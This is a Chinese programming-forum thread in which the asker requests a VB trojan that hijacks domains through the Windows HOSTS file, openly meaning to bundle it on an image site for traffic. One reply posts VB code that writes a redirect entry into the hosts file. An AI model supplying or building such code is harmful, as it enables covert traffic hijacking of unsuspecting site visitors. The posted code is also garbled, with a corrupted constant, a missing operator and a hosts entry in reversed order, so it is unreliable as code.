有没有VB编写的修改HOSTS文件的小木马？解决方案

有没有VB编写的修改HOSTS文件的小木马？
就是VB编写的HOSTS域名劫持木马。
我想弄个研究下，捆绑在图片站上，给我的站带来点流量。

主要是研究下那个代码，有写过的贴出来看看，谢谢！

[解决办法]
lz要做木马，不厚道
[解决办法]
hosts文件只是一个不带后缀名的文本文件而已，直接用文本文件打开就行了
[解决办法]
楼主好可怜，被惨无人道的围观，还有楼上不断扔砖。。。
[解决办法]
行,我给你代码吧.

纯技术讨论.

VB code

dim Buff as string,LineBuff() as stringdim I as long,IsEdit as booleanopen "hosts" for binary as #1    buff=space(lof(1))    get #1,,buff    if instr(1,buff,"www.m5home.com",vbtextXXXX)>0 then  '修改已有转向的情况         isedit=true        linebuff()=split(buff,vbcrlf)        for i=0 to ubound(linebuff)            if instr(1,buff,"www.m5home.com",vbtextXXXX)>0 then                linebuff(i)="www.m5home.com 192.168.1.1"                exit for            end if        next    else              '没有这个转向,则直接添加         buff=buff & vbcrlf "www.m5home.com 192.168.1.1"    end if    if isedit then        buff=join(linebuff,vbcrlf)    end if    put #1,1,buffclose #1